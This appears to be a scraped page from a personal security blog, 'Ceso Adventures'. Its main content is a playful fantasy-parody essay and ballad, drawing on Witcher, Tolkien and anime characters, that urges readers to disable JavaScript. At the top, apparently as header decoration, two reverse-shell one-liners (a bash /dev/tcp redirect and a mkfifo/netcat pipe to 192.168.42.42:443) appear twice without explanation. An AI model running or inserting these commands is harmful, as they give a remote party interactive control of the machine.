bash -i >& /dev/tcp/192.168.42.42/443 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.42.42 443 >/tmp/f
Ceso Adventures
bash -i >& /dev/tcp/192.168.42.42/443 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.42.42 443 >/tmp/f
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Ahhh, People... like to invent monsters and monstrosities. Then they seem less monstrous themselves - Geralt said, with disgust in his temple - this monster, it shall thou have never existed, forged and born without foresight, thinking it will bring good to the realm and beyond, but no, hither they did not count they made it cursed, all of it cursed.
And cursed it hath made you too, rushing to that tab faster than Ciri steps through a portal, scared to your very bone, eyes darting to whoever breathed close enough to have seen it, holding breath for what felt an age before daring to look back at the screen. This time, clear.
You know, they could sing for years, decades to come, would I write a ballad about it, a song that even Tom Bombadil would become jealous of, can you believe it? - Dandelion with sparks in his eyes, as the ones you had the first time you tried a Cabrales cheese - think about it Geralt, it could be epic! I could even state that his bank account grew cold, as one's soul by the kind kiss of a Dementor. But, I don't know, it will miss the something, the crescendo, the "FUAAA, luz que se proyecta hacia el universo!". And you know what? It will not be as easy as grabbing your Silver sword! No potion nor spell will let you poke into it, unless you are careful instead of trusting anything.
Yes... yess... they run in many sites you shall not trust as much as those that you shall, one should trust them explicitly, not give them as granted! Otherwise yes, yes... the moment you grow too trustful, you might meet a fate such as poor Kenobi's, you know? Killed by what he trusted.
They hide in the shadows, and though we do not have the Hathsin survivor to save us from it, we can learn from him, and as Vin did take his lessons, we should learn, learn and not let Javascript run wild, free as a Wyvern across the skies of Toussaint. We shall disable it and never by default have it enabled, trusting everything just because it was thou delivered as such. And as Frieren at the sight of a demon raises her staff and shouts ZOLTRAAK!, thou shall do the same, disable it, always disable it!
Listen, listen, this might be! - Dandelion, already reaching for his lute, eyes wide with that gleam no tavern fire could match - listen, Geralt, this is the ballad, this MIGHT be the one!
Hey dol! derry dol! ring a dong dillo!
Lucy's vectors slipped through glass, the kind no eye could follow,
They tracked and logged and fed on you from somewhere cold and hollow!
Hey dol! hey dol!
Where Shinji's AT Field cracked and let the orange tide wash in,
And Rei asked what a soul is as the scripts forgot she had one,
Hey dol! merry dol!
Where Punpun heard God's morning call and clicked along in trust,
And spiraled down with Aiko while the trackers ground them into dust,
Hey dol! hey dol!
Where Alucard was let inside, invited, page by loaded page,
And the Major loved his war the same way scripts love yours to wage,
Hey dol! merry dol!
Where Frieren shouts ZOLTRAAK! the moment she sees the demon near,
Those scripts will do the same to you, and you will never know they're here!
Dandelion has sung it now, hey dol! derry dol!
Disable it, disable it, or the scripts will have their will!
What spell might be the most effective against it? Not an Avada Kedavra, no... disable JavaScript and only let it do its thing where it is trusted.
More information here: https://disable-javascript.org
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